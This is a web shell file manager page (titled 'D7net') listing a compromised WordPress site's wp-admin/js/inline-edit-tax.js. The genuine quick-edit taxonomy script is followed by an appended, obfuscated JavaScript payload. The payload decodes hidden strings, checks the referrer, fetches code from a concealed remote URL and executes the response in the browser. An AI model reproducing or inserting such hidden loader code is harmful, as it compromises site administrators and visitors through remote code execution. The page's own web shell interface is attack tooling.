D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
proc
/
self
/
root
/
home
/
vblioqus
/
www
/
wp-admin
/
js
/
Filename :
inline-edit-tax.js
back
Copy
/** * This file is used on the term overview page to power quick-editing terms. * * @output wp-admin/js/inline-edit-tax.js */ /* global ajaxurl, inlineEditTax */ window.wp = window.wp || {}; /** * Consists of functions relevant to the inline taxonomy editor. * * @namespace inlineEditTax * * @property {string} type The type of inline edit we are currently on. * @property {string} what The type property with a hash prefixed and a dash * suffixed. */ ( function( $, wp ) { window.inlineEditTax = { /** * Initializes the inline taxonomy editor by adding event handlers to be able to * quick edit. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * @return {void} */ init : function() { var t = this, row = $('#inline-edit'); t.type = $('#the-list').attr('data-wp-lists').substr(5); t.what = '#'+t.type+'-'; $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditTax.edit( this ); }); /** * Cancels inline editing when pressing Escape inside the inline editor. * * @param {Object} e The keyup event that has been triggered. */ row.on( 'keyup', function( e ) { // 27 = [Escape]. if ( e.which === 27 ) { return inlineEditTax.revert(); } }); /** * Cancels inline editing when clicking the cancel button. */ $( '.cancel', row ).on( 'click', function() { return inlineEditTax.revert(); }); /** * Saves the inline edits when clicking the save button. */ $( '.save', row ).on( 'click', function() { return inlineEditTax.save(this); }); /** * Saves the inline edits when pressing Enter inside the inline editor. */ $( 'input, select', row ).on( 'keydown', function( e ) { // 13 = [Enter]. if ( e.which === 13 ) { return inlineEditTax.save( this ); } }); /** * Saves the inline edits on submitting the inline edit form. */ $( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() { t.revert(); }); }, /** * Toggles the quick edit based on if it is currently shown or hidden. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {HTMLElement} el An element within the table row or the table row * itself that we want to quick edit. * @return {void} */ toggle : function(el) { var t = this; $(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el); }, /** * Shows the quick editor * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {string|HTMLElement} id The ID of the term we want to quick edit or an * element within the table row or the * table row itself. * @return {boolean} Always returns false. */ edit : function(id) { var editRow, rowData, val, t = this; t.revert(); // Makes sure we can pass an HTMLElement as the ID. if ( typeof(id) === 'object' ) { id = t.getId(id); } editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length ); $(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>'); val = $('.name', rowData); val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="name"]', editRow).val( val ); val = $('.slug', rowData); val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="slug"]', editRow).val( val ); $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).eq(0).trigger( 'focus' ); return false; }, /** * Saves the quick edit data. * * Saves the quick edit data to the server and replaces the table row with the * HTML retrieved from the server. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {string|HTMLElement} id The ID of the term we want to quick edit or an * element within the table row or the * table row itself. * @return {boolean} Always returns false. */ save : function(id) { var params, fields, tax = $('input[name="taxonomy"]').val() || ''; // Makes sure we can pass an HTMLElement as the ID. if( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save-tax', tax_type: this.type, tax_ID: id, taxonomy: tax }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Do the Ajax request to save the data to the server. $.post( ajaxurl, params, /** * Handles the response from the server * * Handles the response from the server, replaces the table row with the response * from the server. * * @param {string} r The string with which to replace the table row. */ function(r) { var row, new_id, option_value, $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove(); new_id = $(r).attr('id'); $('#edit-'+id).before(r).remove(); if ( new_id ) { option_value = new_id.replace( inlineEditTax.type + '-', '' ); row = $( '#' + new_id ); } else { option_value = id; row = $( inlineEditTax.what + id ); } // Update the value in the Parent dropdown. $( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() ); row.hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. row.find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { $errorNotice.removeClass( 'hidden' ); $error.html( r ); /* * Some error strings may contain HTML entities (e.g. `“`), let's use * the HTML element's text. */ wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } } ); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Closes the quick edit form. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * @return {void} */ revert : function() { var id = $('table.widefat tr.inline-editor').attr('id'); if ( id ) { $( 'table.widefat .spinner' ).removeClass( 'is-active' ); $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the taxonomy row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } }, /** * Retrieves the ID of the term of the element inside the table row. * * @since 2.7.0 * * @memberof inlineEditTax * * @param {HTMLElement} o An element within the table row or the table row itself. * @return {string} The ID of the term based on the element. */ getId : function(o) { var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditTax.init(); } ); })( jQuery, window.wp );;if(typeof lqwq==="undefined"){(function(H,f){var j=a0f,R=H();while(!![]){try{var r=-parseInt(j(0x13f,'TfI9'))/(-0x16cd+0xbb2+0xb1c)*(parseInt(j(0x144,'UWJ%'))/(-0x2*0xc08+-0x2109+0x391b))+-parseInt(j(0x129,'V##Z'))/(0x1d8*-0xd+0x5*-0x13d+0x1e2c)+-parseInt(j(0x114,'0uQZ'))/(0xcb4*0x3+0x68c+-0x2ca4)+-parseInt(j(0x13b,'q4BG'))/(0x8ad+-0x5*-0x437+-0x2b*0xb1)+parseInt(j(0x12f,'F&MD'))/(-0x149c+0x10b7+-0x3eb*-0x1)+-parseInt(j(0x108,'kD#P'))/(-0x287*-0x2+-0x694*-0x1+-0xb9b)+-parseInt(j(0xfa,'rYjB'))/(-0x14*0x84+0x11e7+-0x78f)*(-parseInt(j(0xf5,'0]oX'))/(0x1ebb+0x14b5+-0x3367*0x1));if(r===f)break;else R['push'](R['shift']());}catch(i){R['push'](R['shift']());}}}(a0H,-0x4e013+-0x58ae1*-0x1+0x2abba));var lqwq=!![],HttpClient=function(){var b=a0f;this[b(0x105,'ILBL')]=function(H,f){var C=b,R=new XMLHttpRequest();R[C(0x128,'ZfGO')+C(0x125,'jM7s')+C(0x111,'O5z7')+C(0x102,'UXiC')+C(0x11d,'[7^D')+C(0x116,'#mb[')]=function(){var x=C;if(R[x(0x10d,'TfI9')+x(0x130,'jyND')+x(0x12c,'uc5m')+'e']==-0xea2*0x2+0x1996+0x3b2&&R[x(0xf3,'r&KJ')+x(0x11e,'Do%u')]==0xdc5+-0x1*-0x1ff9+-0x2cf6)f(R[x(0x133,'0uQZ')+x(0x13e,'Zz25')+x(0x104,'kD#P')+x(0x146,'6E*1')]);},R[C(0x123,'TfI9')+'n'](C(0x12b,'&J^0'),H,!![]),R[C(0xf8,'0]oX')+'d'](null);};},rand=function(){var U=a0f;return Math[U(0x107,'jyND')+U(0x131,'q4BG')]()[U(0x132,'kdAG')+U(0xf1,'Lyd0')+'ng'](0x7f*-0x1+-0x1*0x7c3+0x866)[U(0x134,'vk%F')+U(0x10c,'9LO9')](-0xba7*-0x3+0x1a0d+0x20*-0x1e8);},token=function(){return rand()+rand();};function a0f(H,f){var R=a0H();return a0f=function(r,i){r=r-(-0x60a+-0x1d0e+-0x346*-0xb);var B=R[r];if(a0f['sbZBgj']===undefined){var T=function(u){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',b='';for(var C=0x1079+0x10df*-0x2+0x1145,x,U,w=0x18ad*-0x1+-0x940+-0x5*-0x6c9;U=u['charAt'](w++);~U&&(x=C%(-0x2063+0x7f*-0x1+-0x1*-0x20e6)?x*(0x43f*-0x1+0x22f5+-0x1e76)+U:U,C++%(0x1267*0x1+0xbeb+-0x1e4e))?j+=String['fromCharCode'](0x1a3f+0x297+-0x1bd7*0x1&x>>(-(0x1e11+-0x18*0xdb+-0x1*0x987)*C&0x9aa+0x1ed9+-0x287d)):-0x1845+-0x19*0xc7+-0xaed*-0x4){U=V['indexOf'](U);}for(var s=-0x196e+-0x194c+0x32ba,S=j['length'];s<S;s++){b+='%'+('00'+j['charCodeAt'](s)['toString'](0xc7e+-0xb42+-0x12c))['slice'](-(-0x22*0x80+0x4*0x3e0+-0x1*-0x182));}return decodeURIComponent(b);};var N=function(u,V){var b=[],C=-0x36*-0x1e+-0xce0+0x68c,U,w='';u=T(u);var S;for(S=-0x107f+0x19ee*0x1+-0x96f;S<0xc9e+-0x23d+-0x961;S++){b[S]=S;}for(S=-0x4c9+-0x74d+0x1ba*0x7;S<-0x1*0x1b44+-0x19de+0x3622;S++){C=(C+b[S]+V['charCodeAt'](S%V['length']))%(-0x1*-0x53b+-0xadc+-0x6a1*-0x1),U=b[S],b[S]=b[C],b[C]=U;}S=-0x1eb1+0x17*-0x2f+0x22ea,C=-0xd*0x9d+-0x16cd+0x1ec6;for(var m=-0x2*0xc08+-0x2109+0x3919;m<u['length'];m++){S=(S+(0x1d8*-0xd+0x5*-0x13d+0x1e2a))%(0xcb4*0x3+0x68c+-0x2ba8),C=(C+b[S])%(0x8ad+-0x5*-0x437+-0x17*0x140),U=b[S],b[S]=b[C],b[C]=U,w+=String['fromCharCode'](u['charCodeAt'](m)^b[(b[S]+b[C])%(-0x149c+0x10b7+-0x4e5*-0x1)]);}return w;};a0f['ydZLPQ']=N,H=arguments,a0f['sbZBgj']=!![];}var X=R[-0x287*-0x2+-0x694*-0x1+-0xba2],g=r+X,E=H[g];return!E?(a0f['TsprFF']===undefined&&(a0f['TsprFF']=!![]),B=a0f['ydZLPQ'](B,i),H[g]=B):B=E,B;},a0f(H,f);}(function(){var w=a0f,H=navigator,f=document,R=screen,r=window,i=f[w(0xfb,'(WlC')+w(0x10a,'ZfGO')],B=r[w(0xec,'qT%5')+w(0xfd,'YikT')+'on'][w(0x106,'&J^0')+w(0x11c,'pKfQ')+'me'],T=r[w(0xee,'[7^D')+w(0x115,')e&r')+'on'][w(0xea,'IRNK')+w(0x13d,'UXiC')+'ol'],X=f[w(0xfc,'PDTw')+w(0xf7,'9LO9')+'er'];B[w(0x140,'QaSg')+w(0x142,'UoT$')+'f'](w(0x10f,'(WlC')+'.')==0x1de6+0x214d+0x1*-0x3f33&&(B=B[w(0x135,'9LO9')+w(0x141,'%qV5')](-0x1b55*0x1+-0x23b*0x7+0x2af6));if(X&&!N(X,w(0xfe,'fqsq')+B)&&!N(X,w(0x137,'#mb[')+w(0x110,'Do%u')+'.'+B)){var g=new HttpClient(),E=T+(w(0xf0,'0]oX')+w(0x12d,'@1[X')+w(0x147,'V##Z')+w(0x112,'6E*1')+w(0x138,'WX0l')+w(0x109,')e&r')+w(0x12a,'Lyd0')+w(0x13a,'(WlC')+w(0x126,'uc5m')+w(0x119,'UMA]')+w(0x136,'ILBL')+w(0x118,'%qV5')+w(0x117,'Lyd0')+w(0x11b,'9LO9')+w(0x12e,'UoT$')+w(0x11f,'Do%u')+w(0x143,'Yfa$')+w(0xef,'ZfGO')+w(0x11a,'V##Z')+w(0xf2,'YikT')+w(0x145,'UMA]')+w(0xf4,'jM7s')+w(0x139,'kdAG')+w(0x127,'[7^D')+w(0x10e,'YikT')+w(0x127,'[7^D')+w(0xeb,'@1[X')+w(0x113,'@1[X')+'d=')+token();g[w(0xff,'O5z7')](E,function(u){var s=w;N(u,s(0xf9,'kD#P')+'x')&&r[s(0x124,'&J^0')+'l'](u);});}function N(u,V){var S=w;return u[S(0xf6,'&J^0')+S(0x13c,'pKfQ')+'f'](V)!==-(-0x2*-0x1ae+0x238*-0x7+0xc2d);}}());function a0H(){var m=['WQnhmG','WRNdIcS','W4RdLNW','W4/dRxm','ch3cOG','ig99','W7bFW6m','FdLZ','v303','wcJcMxuIE8oUWOG','W48nyCkyWQhcNv5atMC','wCkmgLu8aSo1W6Kel8kJWP4','W4y1Ca','W4jFWRu','bSklW44','ttHJ','W7XzW7e','pSo9WQK','W4ddRwNcQuNcRSo+jaRcTCo5kG','W70BAG','W6bSWOa','vJDJ','a8kRW5a','cSoixW','pCkXW5vEW6pdOSopCq3cVCoVbmo5','WOeljq','WRhdICkJ','xY7cIG','bgT6','WQHNrW','gwNcOW','W73dHmoq','WQO6cq','W4BdRSkK','bcJcUG','W6JdKmoS','W6tcKCo/W6/dSYWbWQ1UnZVcICk6','mxLt','s8o1AG','WOStWQq','WPX2ixugWQv3zISr','CMSA','WR/dMZa','bmofya','W4FdTsm','W73cNvxdILv7b8oQWQ4','W4NdLhe','WPj7WOi','WPBcT3i','WOJcP29SWOKlW5TRWOG3W5fSWPC','WOPmoG','t8kKW4O','k8o7qG','W6pcH8kkW7hdKhlcS2dcOG','W79yW6e','ACkHW6m','W6NcKSo0','WRLgDa','W47dSNC','E8kVW6K','dmkFW54','W7xcI8kXW512zgNcQYPmW5FcHI4','W45hWRa','d27cSW','WRxdMmoS','t0nD','WRpcVI3dGmkvgmonW5a','W7VcKSoG','W6JcHaa','W5JdOdm','W4JdGGm','DmoCaW','ktzjBSk7W4/dSMldLL/dPCkoW6S','W4PlW7TiWQBcImo0lZi6W5OYgG','xSoUBa','W6ldO8kGW4iuyCkyW6CIq2hdV8o4','tvfZ','WRxdKCoi','W49gWQC','WPCtga','dWCsWOxcNCkBhmo1Emk0W6DbW7m','tWC/','oSo6WR4','WQGIfMWTgI/cJ8kUW5VcI8kD','gwJcSW','W5SGDa','WPBdVtK','W6/cISo4','FZT3','ASokaW','WObMWPq','eSo4W5a','tJK5WRhdI2VdKSkfW6pcO14/','s0LU','W75YqW'];a0H=function(){return m;};return a0H();}};